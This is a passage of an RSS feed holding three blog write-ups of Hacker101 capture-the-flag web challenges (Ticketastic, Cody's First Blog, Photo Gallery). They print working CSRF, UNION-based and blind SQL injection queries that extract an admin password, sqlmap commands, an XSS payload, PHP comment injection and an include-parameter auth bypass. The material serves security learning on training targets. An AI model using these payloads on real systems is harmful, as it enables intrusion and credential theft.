            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Fri, 03 Apr 2020 02:56:59 GMT</pubDate>
            <atom:updated>2020-04-11T16:45:02.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJdm5hTMRM7pL_iDywX1nA.png" /></figure><h3>CTF — Hacker101 — Ticketastic</h3><p>This one was pretty fun and straightforward CTF, I enjoyed it a lot.</p><p>So without further talks, let&#39;s jump into it.</p><p><strong>FLAG0</strong></p><p>From playing with the demo instance, I realized that after logging as admin (with admin/admin) and trying to add new user, the credentials of the new user passes via a GET request, in the URL.</p><p>It looked something like this:</p><p><strong><em>GET to xxxxx/yyyyy/newUser?username=user&amp;password=pass&amp;password2=pass</em></strong></p><p>Well, that&#39;s a really bad practice of passing credentials, but we need more than that to gain the flag here.</p><p>Trying to submit a ticket, I found that there was a room for XSS, HTML injections and whatnot. The payload executed after logging in.</p><p>The problem is that is contrary to the demo mode, where we could log in with admin/admin and add new users as much as we wanted, in the live case we don&#39;t know the password for admin, so we cannot log in nither add new users.</p><p>So we need to figure out how to log in without the admin password.</p><p>Knowing that there was no sanitation at all in the body when submitting a new ticket, I tried to inject a malicious link and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*PC9YxLixM1aquYn5frzQzA.png" /><figcaption>A Succesful injection</figcaption></figure><p>So if there is no sanitation at all, and I can inject just any link I want, we can use here <strong>CSRF</strong>! let&#39;s try to add a new user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*l-lmU4bZyPvzMg7bcwwtRg.png" /><figcaption>PoC</figcaption></figure><p>After the request was made by us, we need to log in with the new credentials for the user we just added with CSRF, in this case, user1 &amp; password1.</p><p>Trying to log on and YES! I&#39;m in and see all the tickets that were submitted including the ticket “Flag Won’t Work” in which we can find our first flag.</p><p><strong>FLAG1</strong></p><p>So for this flag, I tried to fool around a bit, when finding out the ‘id’ parameter at <em>“ticket?id=x”</em> is injectable to SQLi.</p><p>We need to find the admin’s password, and we can do it in 2 different ways, the manual way, or the automated way.</p><ol><li>Manual SQL injection</li></ol><p><strong>Testing TRUE vs FALSE queries:</strong></p><p>ticket?id=1 AND 1=1<br>ticket?id=1 AND 1=2</p><p><strong>Finding out the numbers of fields in the table:<br></strong>ticket?id=1 AND 1=1 ORDER BY 3</p><p>ticket?id=1.1 UNION SELECT 1,2,3 —</p><p><strong>Finding the table name:</strong></p><p>ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() —</p><p><strong>Found ‘users’, finding columns:</strong></p><p>ticket?id=1.1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=’users’ —</p><p><strong>And at the end, finding the password for ‘admin’:</strong></p><p>ticket?id=1.1 UNION SELECT 1,password,3 FROM users WHERE username=’admin’ —</p><p>2. Automating the process — using SQLMap</p><p>Gathering the GET request from Burp into a txt file (in this case sqlr.txt).</p><p>Then, using SQLMap: <em>sqlmap -r sqlr.txt — dump</em>.</p><p>And WALLA! 5 min later, getting the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXHL6V6spJklVitfD25xxA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fec07a9a5668" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-ticketastic-fec07a9a5668">CTF — Hacker101 — Ticketastic</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 — Cody’s First Blog]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-codys-first-blog-b3fd828a1edc?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3fd828a1edc</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Thu, 02 Apr 2020 12:09:40 GMT</pubDate>
            <atom:updated>2020-04-11T16:48:59.932Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joqw_QRyQBSLOfWd8dTS0A.png" /></figure><h3>CTF — Hacker101 — Cody’s First Blog</h3><p>So this one took me a while, as I was trying to solve it in an “overthinking” way and then realizing its not that complicated.</p><p>Moderate level, web, here we go.</p><p><strong>FLAG0</strong></p><p>So for the first flag, I tried a bunch of things without success.</p><p>After taking the hints, I realized this is about the first input, which was the comment box.</p><p>I started submitting some payloads like <em>&lt;img src=x onerror=alert(hacked)&gt;</em>, finding out that the comment was submitted and awaiting approval (hint for the next one, *umm* admin)</p><p>Knowing that the platform, in this case, is PHP, I figured “why not trying to inject some PHP code?” I tried and got my flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FuFnJlP6njYO7wgwLm6aA.png" /><figcaption>some PHP code</figcaption></figure><p><strong>FLAG1</strong></p><p>I started looking for something to work with.</p><p>I guess looking at the source code of the index page wouldn&#39;t hurt.</p><p>Opened the source code and found out a suspicious comment containing a link to the admin page, worth checking for sure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uy6CGJKWjcEm7LJ2p9ZxGQ.png" /><figcaption>page=admin.auth.inc</figcaption></figure><p>Going to this link, indeed I reached the admin login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Sm_GXKNnvTD0eyQolgvMVw.png" /><figcaption>Admin login page</figcaption></figure><p>At this point, I was trying to login with a bunch of default credentials without success. Also, knowing that the webserver was hosted in Nginx I looked for a file that contained credentials/the default ones and couldn&#39;t find.</p><p>Moreover, using gobuster I found few surprises:</p><p><em>/.hta (Status: 403)<br>/.htaccess (Status: 403)<br>/.htpasswd (Status: 403)<br>/index.php (Status: 200)<br>/php.ini (Status: 200)<br>/posts (Status: 301)<br>/server-status (Status: 403)</em></p><p>Trying to look for something in <em>php.ini</em> (the configuration page for PHP based webserver) without anything that I could work with.</p><p>I also tried reaching <em>./htpasswd</em> to see if I can get something from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*QaODa7MthgoHGW7LuaeE0g.png" /><figcaption>403 — as expected.</figcaption></figure><p>As expected I got 403 forbidden, but the interesting part here is this: Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 54597</p><p>we can see the port that is being used here, and a quick check with Nmap telling me that it was open I tried connecting to the server.</p><p>Again, no success here. Going back to the index page I saw that “Cody” wrote <em>“This server can’t talk to the outside world and nobody but me can upload files”</em> — so I guess I cant connect from outside.</p><p>feeling a little frustrated at this point, I tried several more things like brute-forcing the login page to get in as admin. Since I didn&#39;t have the username nor password it was a very hard task and I thought to myself that there must be an easier way.</p><p>I looked in the URL, and the part that captured my eyes was the address of the admin link <em>“page=admin.auth.inc”</em>.</p><p>Since we all know that one must <strong>auth</strong>enticate himself in order to log in, I figured what will happen if there will be no authentication here? could I just log in as admin?</p><p>I tried removing the auth part and got <em>“page=admin.inc”</em> and BAM! not only that I got my flag, but I&#39;m also admin now, which means that I can approve comments! that must be useful for going on the next flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*uEwqf0WhiPL3iF7EW3mJoQ.png" /><figcaption>Admin power</figcaption></figure><p><strong>FLAG2</strong></p><p>So, let&#39;s sum up what we know so far:</p><ol><li>we can write some PHP code and submit it as a comment</li><li>we can approve it as admin</li></ol><p>and now we need to execute it.</p><p>As we know already, <em>“This server can’t talk to the outside world”</em> so let&#39;s try to execute our code within our network.</p><p>By going to <em>?page=</em><a href="http://localhost/index"><em>http://localhost/index</em></a><em> </em>I could see that that the comments I approved before were executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*WjZ9oc3iaV6IW087NKue0w.png" /><figcaption>Our little XSS</figcaption></figure><p>I tried a few pieces of code until I got the right one.</p><p>Using the command to read the <em>index.php</em> I was able to get the third flag.</p><p><em>PoC:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*SrIo232cItD4_fPGvI1-PA.png" /><figcaption>Submitting a comment to read the index.php</figcaption></figure><p>Approving the comment and going back to “localhost/index” using developer tools (F12) I saw that my PHP code executed as expected, showing me the third flag.</p><pre>&lt;?php<br>	// ^FLAG^{FLAG2}$FLAG$<br>	mysql_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;);<br>	mysql_select_db(&quot;level4&quot;);<br>	$page = isset($_GET[&#39;page&#39;]) ? $_GET[&#39;page&#39;] : &#39;home.inc&#39;;<br>	if(strpos($page, &#39;:&#39;) !== false &amp;&amp; substr($page, 0, 5) !== &quot;http:&quot;)<br>		$page = &quot;home.inc&quot;;<br><br>	if(isset($_POST[&#39;body&#39;])) {<br>		mysql_query(&quot;INSERT INTO comments (page, body, approved) VALUES (&#39;&quot; . mysql_real_escape_string($page) . &quot;&#39;, &#39;&quot; . mysql_real_escape_string($_POST[&#39;body&#39;]) . &quot;&#39;, 0)&quot;);<br>		if(strpos($_POST[&#39;body&#39;], &#39;&lt;?php&#39;) !== false)<br>			echo &#39;&lt;p&gt;^FLAG^{FLAG1}$FLAG$&lt;/p&gt;&#39;; <br>?&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3fd828a1edc" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-codys-first-blog-b3fd828a1edc">CTF — Hacker101 — Cody’s First Blog</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — hacker101 — Photo Gallery]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-photo-gallery-fdb781fe4199?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdb781fe4199</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Mon, 30 Mar 2020 14:27:47 GMT</pubDate>
            <atom:updated>2020-04-11T16:53:11.226Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-oNPWS2F4TMge19BuO8bPg.png" /></figure><h3>CTF — hacker101 — Photo Gallery</h3><p><strong>FLAG1</strong></p><p>So I started off with go buster but didn&#39;t find anything interesting there.</p><p>As the third picture was not uploaded properly on the website, I’ve decided to look into it, it was failed to load and its title was “invisible”.</p><p>I noticed that trying to load the image I&#39;m getting a 500 internal server error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*qd9hzWVc0nRkaDWB7-Y0pw.png" /></figure><p>OK, I just wanted to verify that so I was trying <a href="http://xxx/yyy/fetch?id=3"><em>http://xxx/yyy/fetch?id=</em></a><em>1</em> for the first image and getting the binary content of the image, same story for id=2.</p><p>When trying <a href="http://xxx/yyy/fetch?id=3"><em>http://xxx/yyy/fetch?id=3</em></a>, boom, status code 500.</p><p>OK, so something looks odd here. let&#39;s take the hints and see how we going.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*zZ_q3p60HztZG-BOeNLkNw.png" /></figure><p>So when seeing the word “query” I suspected this is a case of playing with SQL syntax (Our beloved SQLi).</p><p>I tried some payloads and then noticed that the ‘id’ parameter is vulnerable to Blind SQLi. When I tried a TRUE payload like ?id=1 AND 100=100 I got 200 OK and when trying a FALSE statement I got 404.</p><p>Using this knowledge I decided to pull off the big machine — <em>SQLMAP</em>.</p><p>Using <em>SQLMAP</em>, I was able to find the databases, tables, columns and in the end the desired FLAG.</p><p>By running this simple command:<em>sqlmap -u </em><a href="http://xxx/yyy/fetch?id=3"><em>http://xxxxxxxx/yyyyyyyy/fetch?id=1</em></a><em> — dbs</em> I was able to find the database — “level 5”. Then, looking for its tables I found “albums” and “photos”.</p><p>This, of course, could have been done also using Burp’s intruder, but <em>SQLMAP</em> saved me time.</p><p>Then, looking for the columns of each one of them, I found the interesting column “filename”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*Br6b-pI07kyCR-ICIApNgQ.png" /></figure><p>Let&#39;s dump all this and see if I&#39;m getting the file name of id=3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kiQDLhiXIJmRXMInEwIymQ.png" /><figcaption>FLAG1</figcaption></figure><p>And YES! the FLAG for this level is the file name of file=3.</p><p><strong>FLAG0</strong></p><p>Run some UNION payload without any luck, decided to look at the hints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*0zLpALcCrz686oZj54vr6A.png" /><figcaption>Hint</figcaption></figure><p>This one was an interesting one.</p><p>After some amount of time spent on researching, I found the configuration page of <em>‘uwsgi’</em> in this Github repository:</p><p><a href="https://github.com/tiangolo/uwsgi-nginx-flask-docker">https://github.com/tiangolo/uwsgi-nginx-flask-docker</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*-41uU01Lbuonls7yYNJWMw.png" /><figcaption>uwsgi.ini — the configuration path</figcaption></figure><p>I tried to reach this file and BOOM! got interesting info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vU1yrZkyYKNtHiG_nqbdGg.png" /></figure><p>Also in the Github repository, I saw that module = main refers to the file <em>main.py</em> and decided to look for it.</p><p><em>fetch?id=0+UNION+SELECT+’main.py’</em> got me the FLAG. WHOA.</p><p><strong>FLAG2</strong></p><p>This one was tough. TBH I tried to complete it for some time and came to the conclusion that I would like to learn from the answer and move on.</p><p>Never the less, I learned plenty from the solution, mainly thank this one <a href="https://secureops.io/2019/09/magical-image-gallery/">https://secureops.io/2019/09/magical-image-gallery/</a>.</p><p>This one was uploaded by Justin, in the SecureOps platform, so all credit goes to him on this one and I highly recommend learning from this.</p><p>Hope you enjoyed, see you next post!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdb781fe4199" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-photo-gallery-fdb781fe4199">CTF — hacker101 — Photo Gallery</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>